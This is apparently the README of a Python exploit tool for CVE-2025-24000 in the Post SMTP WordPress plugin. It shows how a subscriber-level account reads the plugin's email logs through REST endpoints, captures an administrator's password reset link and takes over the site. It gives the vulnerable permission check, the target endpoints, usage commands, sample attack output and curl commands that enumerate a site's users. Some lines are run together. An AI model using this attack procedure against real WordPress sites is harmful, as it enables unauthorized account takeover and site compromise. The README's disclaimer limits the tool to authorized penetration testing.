
Short Python script for exploiting CVE-2025–24000 based on this blog post: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
This script exploits CVE-2025-24000, a high-severity broken access control vulnerability in the Post SMTP WordPress plugin (versions ≤ 3.2.0). It allows any authenticated user with a low-privilege account (e.g. Subscriber) to access the plugin's REST API email logs, steal an admin password reset link, and take over the administrator account.
The vulnerability stems from a flawed permission check in the plugin's REST API:
// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
Any logged-in user, regardless of role, can access endpoints intended for administrators only:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin//wp-admin as administratorrequests library (pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| Argument | Description |
|---|
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...
[+] RESET LINK FOUND:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Visit the link above to set a new admin password and take over the site.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
This tool is intended for authorized penetration testing and educational purposes only. Do not use against systems you do not have explicit permission to test.
--url | Base URL of the WordPress site (e.g. http://target.local/wordpress/) |
--username | Your low-privilege WordPress username |
--password | Your low-privilege WordPress password |
--email | Admin username or email to reset |